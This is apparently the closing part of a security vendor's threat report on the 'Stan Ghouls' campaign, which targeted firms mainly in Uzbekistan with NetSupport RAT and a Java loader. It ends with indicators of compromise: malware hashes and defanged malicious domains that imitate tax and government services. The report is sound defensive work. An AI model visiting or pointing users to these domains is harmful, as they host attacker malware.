In this post, we’ve broken down the recent campaign by the Stan Ghouls group. The attackers set their sights on organizations in industrial manufacturing, IT, and finance, primarily located in Uzbekistan. However, the ripple effect also reached Russia, Kazakhstan, and a few, likely accidental, victims elsewhere.

With over 60 targets hit, this is a remarkably high volume for a sophisticated targeted campaign. It points to the significant resources these actors are willing to pour into their operations. Interestingly, despite this, the group sticks to a familiar toolkit including the legitimate NetSupport remote management utility and their signature custom Java-based loader. The only thing they seem to keep updating is their infrastructure. For this specific campaign, they employed two new domains to house their malicious loader and one new domain dedicated to hosting NetSupport RAT files.

One curious discovery was the presence of Mirai files on a domain linked to the group’s previous campaigns. This might suggest Stan Ghouls are branching out into IoT malware, though it’s still too early to call it with total certainty.

We’re keeping a close watch on Stan Ghouls and will continue to keep our customers in the loop regarding the group’s latest moves. Kaspersky products provide robust protection against this threat at every stage of the attack lifecycle.

Indicators of compromise

* Additional IoCs and a YARA rule for detecting Stan Ghouls activity are available to customers of our Threat Intelligence Reporting service. For more details, contact us at crimewareintel@kaspersky.com.

PDF decoys

B4FF4AA3EBA9409F9F1A5210C95DC5C3
AF9321DDB4BEF0C3CD1FF3C7C786F0E2
056B75FE0D230E6FF53AC508E0F93CCB
DB84FEBFD85F1469C28B4ED70AC6A638
649C7CACDD545E30D015EDB9FCAB3A0C
BE0C87A83267F1CE13B3F75C78EAC295
78CB3ABD00A1975BEBEDA852B2450873
51703911DC437D4E3910CE7F866C970E
FA53B0FCEF08F8FF3FFDDFEE7F1F4F1A
79D0EEAFB30AA2BD4C261A51104F6ACC
8DA8F0339D17E2466B3D73236D18B835
299A7E3D6118AD91A9B6D37F94AC685B
62AFACC37B71D564D75A58FC161900C3
047A600E3AFBF4286175BADD4D88F131
ED0CCADA1FE1E13EF78553A48260D932
C363CD87178FD660C25CDD8D978685F6
61FF22BA4C3DF7AE4A936FCFDEB020EA
B51D9EDC1DC8B6200F260589A4300009
923557554730247D37E782DB3BEA365D
60C34AD7E1F183A973FB8EE29DC454E8
0CC80A24841401529EC9C6A845609775
0CE06C962E07E63D780E5C2777A661FC

Malicious loaders

1b740b17e53c4daeed45148bfbee4f14
3f99fed688c51977b122789a094fec2e
8b0bbe7dc960f7185c330baa3d9b214c
95db93454ec1d581311c832122d21b20
646a680856f837254e6e361857458e17
8064f7ac9a5aa845ded6a1100a1d5752
d0cf8946acd3d12df1e8ae4bb34f1a6e
db796d87acb7d980264fdcf5e94757f0
e3cb4dafa1fb596e1e34e4b139be1b05
e0023eb058b0c82585a7340b6ed4cc06
0bf01810201004dcc484b3396607a483
4C4FA06BD840405FBEC34FE49D759E8D
A539A07891A339479C596BABE3060EA6
b13f7ccbedfb71b0211c14afe0815b36
f14275f8f420afd0f9a62f3992860d68
3f41091afd6256701dd70ac20c1c79fe
5c4a57e2e40049f8e8a6a74aa8085c80
7e8feb501885eff246d4cb43c468b411
8aa104e64b00b049264dc1b01412e6d9
8c63818261735ddff2fe98b3ae23bf7d

Malicious domains

mysoliq-uz[.]com
my-xb[.]com
xarid-uz[.]com
ach-uz[.]com
soliq-uz[.]com
minjust-kg[.]com
esf-kg[.]com
taxnotice-kg[.]com
notice-kg[.]com
proauditkg[.]com
kgauditcheck[.]com
servicedoc-kg[.]com
auditnotice-kg[.]com
tax-kg[.]com
rouming-uz[.]com
audit-kg[.]com
kyrgyzstanreview[.]com
salyk-notofocations[.]com

❌